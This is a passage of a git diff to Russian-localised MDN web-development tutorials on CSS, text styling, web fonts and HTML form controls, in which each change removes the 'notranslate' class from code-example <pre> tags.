работать:</p> -<pre class="brush: css notranslate">margin: 0 auto; +<pre class="brush: css">margin: 0 auto; padding-left: 10px;</pre> <p>А такие объявления не действительны:</p> -<pre class="brush: css notranslate">margin: <strong>0auto</strong>; +<pre class="brush: css">margin: <strong>0auto</strong>; <strong>padding- left</strong>: 10px;</pre> <p>Всегда отделяйте друг от друга значения, а свойства пишите без пробелов через дефис.</p> diff --git a/files/ru/learn/css/first_steps/how_css_works/index.html b/files/ru/learn/css/first_steps/how_css_works/index.html index b5d03c7cea..208a451be4 100644 --- a/files/ru/learn/css/first_steps/how_css_works/index.html +++ b/files/ru/learn/css/first_steps/how_css_works/index.html @@ -59,7 +59,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>Возьмём следующий пример:</p> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Let's use: <span>Cascading</span> <span>Style</span> @@ -69,7 +69,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>В DOM-дереве узел, соответствующий элементу <code><p></code>, — это родительский элемент. Его дочерние элементы — текст и три элемента <code><span></code>. Узлы <code>SPAN</code> также будут родителями — с текстом в качестве дочерних элементов:</p> -<pre class="notranslate">P +<pre>P ├─ "Let's use:" ├─ SPAN | └─ "Cascading" @@ -84,14 +84,14 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>{{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}</p> <div class="hidden"> -<pre class="brush: css notranslate">p {margin:0;}</pre> +<pre class="brush: css">p {margin:0;}</pre> </div> <h2 id="Добавление_CSS_в_DOM">Добавление CSS в DOM</h2> <p>Допустим, мы добавили таблицу стилей к нашему примеру:</p> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Let's use: <span>Cascading</span> <span>Style</span> @@ -100,7 +100,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>А вот CSS-код:</p> -<pre class="brush: css notranslate">span { +<pre class="brush: css">span { border: 1px solid black; background-color: lime; }</pre> @@ -126,9 +126,9 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>Ниже я использовал британское написание слова <em>color</em>, что делает свойство некорректным. Поэтому текст не будет синим. Однако всё остальное будет работать; пропущено только недействительное свойство.</p> <div id="Skipping_example"> -<pre class="brush: html notranslate"><p> I want this text to be large, bold and blue.</p></pre> +<pre class="brush: html"><p> I want this text to be large, bold and blue.</p></pre> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { font-weight: bold; colour: blue; /* некорректное написание свойства цвета */ font-size: 200%; @@ -141,7 +141,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>Это хорошо применяется, если вы хотите использовать величину, не использующуюся везде в документе. К примеру, некоторые старые браузеры не поддерживают <code>calc()</code> как значение. Я добавлю резерв — значение в px, затем задам ширину с помощью функции <code>calc()</code>, равной <code>100% - 50px</code>. Старые браузеры используют пиксельное значение, потому что не распознают <code>calc()</code>. Новые браузеры используют <code>calc()</code> так как эта строка появляется позже в каскаде.</p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { width: 500px; width: calc(100% - 50px); }</pre> diff --git a/files/ru/learn/css/styling_text/fundamentals/index.html b/files/ru/learn/css/styling_text/fundamentals/index.html index 270aec1251..cc24a192c5 100644 --- a/files/ru/learn/css/styling_text/fundamentals/index.html +++ b/files/ru/learn/css/styling_text/fundamentals/index.html @@ -45,7 +45,7 @@ translation_of: Learn/CSS/Styling_text/Fundamentals <p>Давайте сразу перейдём к рассмотрению свойств для стилизации шрифтов. В этом примере мы применим некоторые различные свойства CSS к одному и тому же образцу HTML, который выглядит следующим образом:</p> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -64,14 +64,14 @@ occasion such as this that he did.</p></pre> <p><code>color</code> can accept any <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS color unit</a>, for example:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { color: red; }</pre> <p>This will cause the paragraphs to become red, rather than the standard browser default black, like so:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -89,7 +89,7 @@ occasion such as this that he did.</p></pre> <p>To set a different font on your text, you use the {{cssxref("font-family")}} property — this allows you to specify a font (or list of fonts) for the browser to apply to the selected elements. The browser will only apply a font if it is available on the machine the website is being accessed on; if not, it will just use a browser {{anch("Default fonts", "default font")}}. A simple example looks like so:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { font-family: arial; }</pre> @@ -200,7 +200,7 @@ occasion such as this that he did.</p></pre> <p>Since you can't guarantee the availability of the fonts you want to use on your webpages (even a web font <em>could</em> fail for some reason), you can supply a <strong>font stack</strong> so that the browser has multiple fonts it can choose from. This simply involves a <code>font-family</code> value consisting of multiple font names separated by commas, e.g.</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { font-family: "Trebuchet MS", Verdana, sans-serif; }</pre> @@ -216,7 +216,7 @@ occasion such as this that he did.</p></pre> <p>Let's add to our previous example, giving the paragraphs a sans-serif font:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { color: red; font-family: Helvetica, Arial, sans-serif; }</pre> @@ -224,7 +224,7 @@ occasion such as this that he did.</p></pre> <p>This gives us the following result:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -252,7 +252,7 @@ occasion such as this that he did.</p></pre> <p>Things become more tricky when you start altering the font size of nested elements. For example, if you had an {{htmlelement("article")}} element in your page, and set its <code>font-size</code> to 1.5 <code>em</code> (which would compute to 24 <code>px</code> final size), and then wanted the paragraphs inside the <code><article></code> elements to have a computed font size of 20 <code>px</code>, what <code>em</code> value would you use?</p> -<pre class="brush: html notranslate"><!-- document base font-size is 16px --> +<pre class="brush: html"><!-- document base font-size is 16px --> <article> <!-- If my font-size is 1.5em --> <p>My paragraph</p> <!-- How do I compute to 20px font-size? --> </article></pre> @@ -266,7 +266,7 @@ occasion such as this that he did.</p></pre> <p>Our new result is like so:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -279,7 +279,7 @@ occasion such as this that he did.</p> </pre> </div> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -338,7 +338,7 @@ p { <p>Our new result is like so:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -351,7 +351,7 @@ occasion such as this that he did.</p> </pre> </div> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -376,7 +376,7 @@ p { <p>You can apply drop shadows to your text using the {{cssxref("text-shadow")}} property. This takes up to four values, as shown in the example below:</p> -<pre class="brush: css notranslate">text-shadow: 4px 4px 5px red;</pre> +<pre class="brush: css">text-shadow: 4px 4px 5px red;</pre> <p>The four properties are as follows:</p> @@ -391,7 +391,7 @@ p { <p>You can apply multiple shadows to the same text by including multiple shadow values separated by commas, for example:</p> -<pre class="brush: css notranslate">text-shadow: 1px 1px 1px red, +<pre class="brush: css">text-shadow: 1px 1px 1px red, 2px 2px 1px red;</pre> <p>If we applied this to the {{htmlelement("h1")}} element in our Tommy the cat example, we'd end up with this:</p> @@ -399,7 +399,7 @@ p { <div class="hidden"> <h5 id="Hidden_example1">Hidden example1</h5> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -411,7 +411,7 @@ predator — Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.</p> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -457,7 +457,7 @@ p { <p>If we applied <code>text-align: center;</code> to the {{htmlelement("h1")}} in our example, we'd end up with this:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -469,7 +469,7 @@ predator — Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.</p> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -498,14 +498,14 @@ p { <p>The {{cssxref("line-height")}} property sets the height of each line of text — this can take most <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>, but can also take a unitless value, which acts as a multiplier and is generally considered the best option — the {{cssxref("font-size")}} is multiplied to get the <code>line-height</code>. Body text generally looks nicer and is easier to read when the lines are spaced apart; the recommended line height is around 1.5 – 2 (double spaced.) So to set our lines of text to 1.6 times the height of the font, you'd use this:</p> -<pre class="brush: css notranslate">line-height: 1.6;</pre> +<pre class="brush: css">line-height: 1.6;</pre> <p>Applying this to the {{htmlelement("p")}} elements in our example would give us this result:</p> <div class="hidden"> <h5 id="Hidden_example2">Hidden example2</h5> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -517,7 +517,7 @@ predator — Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.</p> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -549,7 +549,7 @@ p { <p>So as an example, we could apply some word- and letter-spacing to the first line of each {{htmlelement("p")}} element in our example:</p> -<pre class="brush: css notranslate">p::first-line { +<pre class="brush: css">p::first-line { letter-spacing: 4px; word-spacing: 4px; }</pre> @@ -557,7 +557,7 @@ p { <p>Let's add some to our example, like so:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> +<pre class="brush: html"><h1>Tommy the cat</h1> <p>Well I remember it as though it were a meal ago...</p> @@ -569,7 +569,7 @@ predator — Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.</p> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-size: 10px; } @@ -650,7 +650,7 @@ p { <p>A full example would look like this:</p> -<pre class="brush: css notranslate">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> +<pre class="brush: css">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> <h2 id="Active_learning_Playing_with_styling_text">Active learning: Playing with styling text</h2> @@ -661,7 +661,7 @@ p { <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> <h2>HTML Input</h2> <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> <p>Some sample text for your delight</p> @@ -682,7 +682,7 @@ p { </div> </pre> -<pre class="brush: js notranslate">const htmlInput = document.querySelector(".html-input"); +<pre class="brush: js">const htmlInput = document.querySelector(".html-input"); const cssInput = document.querySelector(".css-input"); const reset = document.getElementById("reset"); let htmlCode = htmlInput.value; diff --git a/files/ru/learn/css/styling_text/web_fonts/index.html b/files/ru/learn/css/styling_text/web_fonts/index.html index 96223649fe..ff9882f958 100644 --- a/files/ru/learn/css/styling_text/web_fonts/index.html +++ b/files/ru/learn/css/styling_text/web_fonts/index.html @@ -29,7 +29,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <p>Как мы рассматривали в <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Фундаментальной стилизации текста и шрифта</a>, шрифты применённые к вашему HTML могут контролироваться при помощи свойства {{cssxref("font-family")}}. Оно принимает одно и более имён семейств шрифтов и браузер следует по списку пока не найдёт тот шрифт, который является доступным в системе, под управлением которой он работает:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; }</pre> @@ -41,14 +41,14 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <p>Во-первых, у вас есть блок {{cssxref("@font-face")}} в начале CSS, который указывает файл(-ы) шрифтов для загрузки:</p> -<pre class="brush: css notranslate">@font-face { +<pre class="brush: css">@font-face { font-family: "myFont"; src: url("myFont.woff"); }</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Ниже вы можете использовать имя семейства шрифтов, указанное внутри @font-face, чтобы применить свой собственный шрифт ко всему, что вам нравится, как обычно:</span></span></p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: "myFont", "Bitstream Vera Serif", serif; }</pre> @@ -122,7 +122,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <li>Теперь вы можете использовать эти шрифты в ваших стеках шрифтов, как и любой веб-безопасный или по умолчанию системный шрифт. Например:</li> </ol> -<pre class="brush: css notranslate">font-family: 'zantrokeregular', serif;</pre> +<pre class="brush: css">font-family: 'zantrokeregular', serif;</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Вы должны получить демо-страницу с какими-то реализованными симпатичными шрифтами. Поскольку различные шрифты создаются в разных размерах, вам может понадобиться настроить размер, интервалы и т.д., чтобы отладить внешний вид.</span></span></p> @@ -155,7 +155,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <p>Давайте исследуем тот <code>@font-face</code> синтаксис, который fontsquirrel сгенерировал для вас. Это то, как выглядит один из этих блоков:</p> -<pre class="brush: css notranslate">@font-face { +<pre class="brush: css">@font-face { font-family: 'ciclefina'; src: url('fonts/cicle_fina-webfont.eot'); src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), diff --git a/files/ru/learn/forms/basic_native_form_controls/index.html b/files/ru/learn/forms/basic_native_form_controls/index.html index 434004757c..539a45fdbb 100644 --- a/files/ru/learn/forms/basic_native_form_controls/index.html +++ b/files/ru/learn/forms/basic_native_form_controls/index.html @@ -101,7 +101,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>Пример базового одностраничного текстового поля:</p> -<pre class="brush: html notranslate"><input type="text" id="comment" name="comment" value="I'm a text field"></pre> +<pre class="brush: html"><input type="text" id="comment" name="comment" value="I'm a text field"></pre> <p>Однострочное текстовое поле имеет только одно настоящее ограничение: если вы вводите текст с разрывами строки, браузер удаляет эти разрывы строк перед отправкой данных.</p> @@ -113,7 +113,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>Этот тип поля устанавливается со значением <code>email</code> для атрибута {{htmlattrxref("type","input")}}:</p> -<pre class="brush: html notranslate"><input type="email" id="email" name="email" multiple></pre> +<pre class="brush: html"><input type="email" id="email" name="email" multiple></pre> <p>Когда используется этот <code>type</code>, пользователь должен ввести в поле валидный адрес электронной почты; любое другое содержание будет отображено браузером при отправке формы как ошибка. Заметьте, что это проверка ошибок на стороне клиента, выполняемая браузером:</p> @@ -131,7 +131,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>This type of field is set using the value <code>password</code> for the {{htmlattrxref("type","input")}} attribute:</p> -<pre class="brush: html notranslate"><input type="password" id="pwd" name="pwd"></pre> +<pre class="brush: html"><input type="password" id="pwd" name="pwd"></pre> <p>It doesn't add any special constraints to the entered text, but it does obscure the value entered into the field (e.g. with dots or asterisks) so it can't be read by others.</p> @@ -143,7 +143,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>This type of field is set by using the value <code>search</code> for the {{htmlattrxref("type","input")}} attribute:</p> -<pre class="brush: html notranslate"><input type="search" id="search" name="search"></pre> +<pre class="brush: html"><input type="search" id="search" name="search"></pre> <p>The main difference between a text field and a search field is how the browser styles it — often, search fields are rendered with rounded corners, and/or given an "x" to press to clear the entered value. However, there is another added feature worth noting: their values can be automatically saved to be auto completed across multiple pages on the same site.</p> @@ -153,7 +153,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>This type of field is set using <code>tel</code> as the value of the {{htmlattrxref("type","input")}} attribute:</p> -<pre class="brush: html notranslate"><input type="tel" id="tel" name="tel"></pre> +<pre class="brush: html"><input type="tel" id="tel" name="tel"></pre> <p>Due to the wide variety of phone number formats around the world, this type of field does not enforce any constraints on the value entered by a user (this can include letters, etc.). This is primarily a semantic difference, although on some devices (especially on mobile), a different virtual keypad might be presented that is more suitable for entering phone numbers.</p> @@ -161,7 +161,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>This type of field is set using the value <code>url</code> for the {{htmlattrxref("type","input")}} attribute:</p> -<pre class="brush: html notranslate"><input type="url" id="url" name="url"></pre> +<pre class="brush: html"><input type="url" id="url" name="url"></pre> <p>It adds special validation constraints to the field, with the browser reporting an error if invalid URLs are entered.</p> @@ -175,7 +175,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>A multi-line text field is specified using a {{HTMLElement("textarea")}} element, rather than using the {{HTMLElement("input")}} element.</p> -<pre class="brush: html notranslate"><textarea cols="30" rows="10"></textarea></pre> +<pre class="brush: html"><textarea cols="30" rows="10"></textarea></pre> <p>The main difference between a textarea and a regular single line text field is that users are allowed to type text that includes hard line breaks (i.e. pressing return).</p> @@ -236,7 +236,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>A select box is created with a {{HTMLElement("select")}} element with one or more {{HTMLElement("option")}} elements as its children, each of which specifies one of its possible values.</p> -<pre class="brush: html notranslate"><select id="simple" name="simple"> +<pre class="brush: html"><select id="simple" name="simple"> <option>Banana</option> <option>Cherry</option> <option>Lemon</option> @@ -244,7 +244,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>If required, the default value for the select box can be set using the {{htmlattrxref("selected","option")}} attribute on the desired {{HTMLElement("option")}} element — this option is then preselected when the page loads. The {{HTMLElement("option")}} elements can also be nested inside {{HTMLElement("optgroup")}} elements to create visually associated groups of values:</p> -<pre class="brush: html notranslate"><select id="groups" name="groups"> +<pre class="brush: html"><select id="groups" name="groups"> <optgroup label="fruits"> <option>Banana</option> <option selected>Cherry</option> @@ -269,7 +269,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>Note: In the case of multiple choice select boxes, the select box no longer displays the values as drop-down content — instead, they are all displayed at once in a list.</p> -<pre class="brush: html notranslate"><select multiple id="multi" name="multi"> +<pre class="brush: html"><select multiple id="multi" name="multi"> <option>Banana</option> <option>Cherry</option> <option>Lemon</option> @@ -287,7 +287,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>Once a data list is affiliated with a form widget, its options are used to auto-complete text entered by the user; typically, this is presented to the user as a drop-down box listing possible matches for what they've typed into the input.</p> -<pre class="brush: html notranslate"><label for="myFruit">What's your favorite fruit?</label> +<pre class="brush: html"><label for="myFruit">What's your favorite fruit?</label> <input type="text" name="myFruit" id="myFruit" list="mySuggestion"> <datalist id="mySuggestion"> <option>Apple</option> @@ -312,7 +312,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>To handle this, here is a little trick to provide a nice fallback for those browsers:</p> -<pre class="brush:html; notranslate"><label for="myFruit">What is your favorite fruit? (With fallback)</label> +<pre class="brush:html;"><label for="myFruit">What is your favorite fruit? (With fallback)</label> <input type="text" id="myFruit" name="fruit" list="fruitList"> <datalist id="fruitList"> @@ -363,7 +363,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>A check box is created using the {{HTMLElement("input")}} element with its {{htmlattrxref("type","input")}} attribute set to the value <code>checkbox</code>.</p> -<pre class="brush: html notranslate"><input type="checkbox" checked id="carrots" name="carrots" value="carrots"> +<pre class="brush: html"><input type="checkbox" checked id="carrots" name="carrots" value="carrots"> </pre> <p>Including the <code>checked</code> attribute makes the checkbox checked automatically when the page loads.</p> @@ -374,11 +374,11 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <p>A radio button is created using the {{HTMLElement("input")}} element with its {{htmlattrxref("type","input")}} attribute set to the value <code>radio</code>.</p> -<pre class="brush: html notranslate"><input type="radio" checked id="soup" name="meal"></pre> +<pre class="brush: html"><input type="radio" checked id="soup" name="meal"></pre> <p>Several radio buttons can be tied together. If they share the same value for their {{htmlattrxref("name","input")}} attribute, they will be considered to be in the same group of buttons. Only one button in a given group may be checked at the same time; this means that when one of them is checked all the others automatically get unchecked. When the form is sent, only the value of the checked radio button is sent. If none of them are checked, the whole pool of radio buttons is considered to be in an unknown state and no value is sent with the form.</p> -<pre class="brush: html notranslate"><fieldset> +<pre class="brush: html"><fieldset> <legend>What is your favorite meal?</legend> <ul> <li> @@ -419,7 +419,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <h3 id="submit">submit</h3> -<pre class="brush: html notranslate"><button type="submit"> +<pre class="brush: html"><button type="submit"> This a <br><strong>submit button</strong> </button> @@ -427,7 +427,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <h3 id="reset">reset</h3> -<pre class="brush: html notranslate"><button type="reset"> +<pre class="brush: html"><button type="reset"> This a <br><strong>reset button</strong> </button> @@ -435,7 +435,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <h3 id="anonymous">anonymous</h3> -<pre class="brush: html notranslate"><button type="button"> +<pre class="brush: html"><button type="button"> This an <br><strong>anonymous button</strong> </button> @@ -473,7 +473,7 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <h4 id="Example">Example</h4> -<pre class="brush: html notranslate"><input type="number" name="age" id="age" min="1" max="10" step="2"></pre> +<pre class="brush: html"><input type="number" name="age" id="age" min="1" max="10" step="2"></pre> <p>This creates a number widget whose value is restricted to any value between 1 and 10, and whose increase and decrease buttons change its value by 2.</p> @@ -487,19 +487,19 @@ original_slug: Learn/HTML/Forms/Стандартные_виджеты_форм <h4 id="Example_2">Example</h4> -<pre class="brush: html notranslate"><input type="range" name="beans" id="beans" min="0" max="500" step="10"></pre> +<pre class="brush: html"><input type="range" name="beans" id="beans" min="0" max="500" step="10"></pre> <p>This example creates a slider whose value may range between 0 and 500, and whose increment/decrement buttons change the value by +10 and -10.</p> <p>One problem with sliders is that they don't offer any kind of visual feedback as to what the current value is. You need to add this yourself with JavaScript, but this is relatively easy to do. In this example we add an empty {{htmlelement("span")}} element, in which we will write the current value of the slider, updating it as it is changed.</p> -<pre class="brush: html notranslate"><label for="beans">How many beans can you eat?</label> +<pre class="brush: html"><label for="beans">How many beans can you eat?</label> <input type="range" name="beans" id="beans" min="0" max="500" step="10"> <span class="beancount"></span></pre> <p>This can be implemented using some simple JavaScript:</p> -<pre class="brush: js notranslate">var beans = document.querySelector('#beans'); +<pre class="brush: js">var beans = document.querySelector('#beans'); var count = document.querySelector('.beancount'); count.textContent = beans.value; @@ -522,29 +522,29 @@ beans.oninput = function() { <p>This creates a widget to display and pick a date with time, but without any specific time zone information.</p> -<pre class="brush: html notranslate"><input type="datetime-local" name="datetime" id="datetime"></pre> +<pre class="brush: html"><input type="datetime-local" name="datetime" id="datetime"></pre> <h4 id="month"><code>month</code></h4> <p>This creates a widget to display and pick a month with a year.</p> -<pre class="brush: html notranslate"><input type="month" name="month" id="month"></pre> +<pre class="brush: html"><input type="month" name="month" id="month"></pre> <h4 id="time"><code>time</code></h4> <p>This creates a widget to display and pick a time value.</p> -<pre class="brush: html notranslate"><input type="time" name="time" id="time"></pre> +<pre class="brush: html"><input type="time" name="time" id="time"></pre> <h4 id="week"><code>week</code></h4> <p>This creates a widget to display and pick a week number and its year.</p> -<pre class="brush: html notranslate"><input type="week" name="week" id="week"></pre> +<pre class="brush: html"><input type="week" name="week" id="week"></pre> <p>All date and time control can be constrained using the {{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} attributes.</p> -<pre class="brush: html notranslate"><label for="myDate">When are you available this summer?</label> +<pre class="brush: html"><label for="myDate">When are you available this summer?</label> <input type="date" name="myDate" min="2013-06-01" max="2013-08-31" id="myDate"></pre> <p>Warning — The date and time widgets don't have the deepest support. At the moment, Chrome, Edge, Firefox, and Opera support them well, but there is no support in Internet Explorer and Safari has patchy support.</p> @@ -555,7 +555,7 @@ beans.oninput = function() { <p>A color widget is created using the {{HTMLElement("input")}} element with its {{htmlattrxref("type","input")}} attribute set to the value <code>color</code>.</p> -<pre class="brush: html notranslate"><input type="color" name="color" id="color"></pre> +<pre class="brush: html"><input type="color" name="color" id="color"></pre> <p>Warning — Color widget support it currently not very good. There is no support in Internet Explorer, and Safari currently doesn't support it either. The other major browsers do support it.</p> @@ -577,7 +577,7 @@ beans.oninput = function() { <p>In this example, a file picker is created that requests graphic image files. The user is allowed to select multiple files in this case.</p> -<pre class="brush: html notranslate"><input type="file" name="file" id="file" accept="image/*" multiple></pre> +<pre class="brush: html"><input type="file" name="file" id="file" accept="image/*" multiple></pre> <h3 id="Hidden_content">Hidden content</h3> @@ -585,7 +585,7 @@ beans.oninput = function() { <p>If you create such an element, it's required to set its <code>name</code> and <code>value</code> attributes:</p> -<pre class="brush: html notranslate"><input type="hidden" id="timestamp" name="timestamp" value="1286705410"></pre> +<pre class="brush: html"><input type="hidden" id="timestamp" name="timestamp" value="1286705410"></pre> <h3 id="Image_button">Image button</h3> @@ -593,7 +593,7 @@ beans.oninput = function() { <p>An image button is created using an {{HTMLElement("input")}} element with its {{htmlattrxref("type","input")}} attribute set to the value <code>image</code>. This element supports exactly the same set of attributes as the {{HTMLElement("img")}} element, plus all the attributes supported by other form buttons.</p> -<pre class="brush: html notranslate"><input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /></pre> +<pre class="brush: html"><input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /></pre> <p>If the image button is used to submit the form, this widget doesn't submit its value; instead the X and Y coordinates of the click on the image are submitted (the coordinates are relative to the image, meaning that the upper-left corner of the image represents the coordinate 0, 0). The coordinates are sent as two key/value pairs:</p> @@ -604,7 +604,7 @@ beans.oninput = function() { <p>So for example when you click on the image of this widget, you are sent to a URL like the following:</p> -<pre class="notranslate">http://foo.com?pos.x=123&pos.y=456</pre> +<pre>http://foo.com?pos.x=123&pos.y=456</pre> <p>This is a very convenient way to build a "hot map". How these values are sent and retrieved is detailed in the <a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data"><span>Sending and retrieving form data</span></a> article.</p> @@ -616,7 +616,7 @@ beans.oninput = function() { <p>A progress bar represents a value that changes over time up to a maximum value specified by the {{htmlattrxref("max","progress")}} attribute. Such a bar is created using a {{ HTMLElement("progress")}} element.</p> -<pre class="brush: html notranslate"><progress max="100" value="75">75/100</progress></pre> +<pre class="brush: html"><progress max="100" value="75">75/100</progress></pre> <p>This is for implementing anything requiring progress reporting, such as the percentage of total files downloaded, or the number of questions filled in on a questionnaire.</p> @@ -653,7 +653,7 @@ beans.oninput = function() { <p>Such a bar is created using a {{HTMLElement("meter")}} element. This is for implementing any kind of meter, for example a bar showing total space used on a disk, which turns red when it starts to get full.</p> -<pre class="brush: html notranslate"><meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter></pre> +<pre class="brush: html"><meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter></pre> <p>The content inside the {{HTMLElement("meter")}} element is a fallback for browsers that don't support the element and for assistive technologies to vocalize it.</p> diff --git a/files/ru/learn/forms/how_to_structure_a_web_form/index.html b/files/ru/learn/forms/how_to_structure_a_web_form/index.html index 35b2bcd2c4..1b53b6ece5 100644 --- a/files/ru/learn/forms/how_to_structure_a_web_form/index.html +++ b/files/ru/learn/forms/how_to_structure_a_web_form/index.html @@ -52,7 +52,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>Небольшой пример:</p> -<pre class="brush:html; notranslate"><form> +<pre class="brush:html;"><form> <fieldset> <legend>Fruit juice size</legend> <p> @@ -84,7 +84,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>В предыдущей статье мы увидели, что элемент {{HTMLElement("label")}} принято использовать для указания текстов-подсказок (лейблов) в HTML-формах. Это самый важный элемент для построения доступных форм — при правильной реализации скринридеры будут озвучивать текст-подсказку вместе со связанными элементами. Посмотрите на этот пример из предыдущей статьи:</p> -<pre class="brush: html notranslate"><label for="name">Name:</label> <input type="text" id="name" name="user_name"></pre> +<pre class="brush: html"><label for="name">Name:</label> <input type="text" id="name" name="user_name"></pre> <p>При правильно связанном элементе <code><label></code> с элементом <code><input></code> через атрибуты <code>for</code> и <code>id</code> соответственно (атрибут <code>for</code> ссылается на атрибут <code>id</code> соответствующего виджета формы), скринридер прочтёт вслух что-то наподобие "Name, edit text".</p> @@ -92,7 +92,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>Обратите внимание на то, что виджет формы может быть вложен в элемент {{HTMLElement("label")}}, как на примере:</p> -<pre class="brush: html notranslate"><label for="name"> +<pre class="brush: html"><label for="name"> Name: <input type="text" id="name" name="user_name"> </label></pre> @@ -104,7 +104,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>Например:</p> -<pre class="brush:html; notranslate"><form> +<pre class="brush:html;"><form> <p> <label for="taste_1">I like cherry</label> <input type="checkbox" id="taste_1" name="taste_cherry" value="1"> @@ -125,7 +125,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>Рассмотрим этот пример:</p> -<pre class="brush: html notranslate"><p>Required fields are followed by <abbr 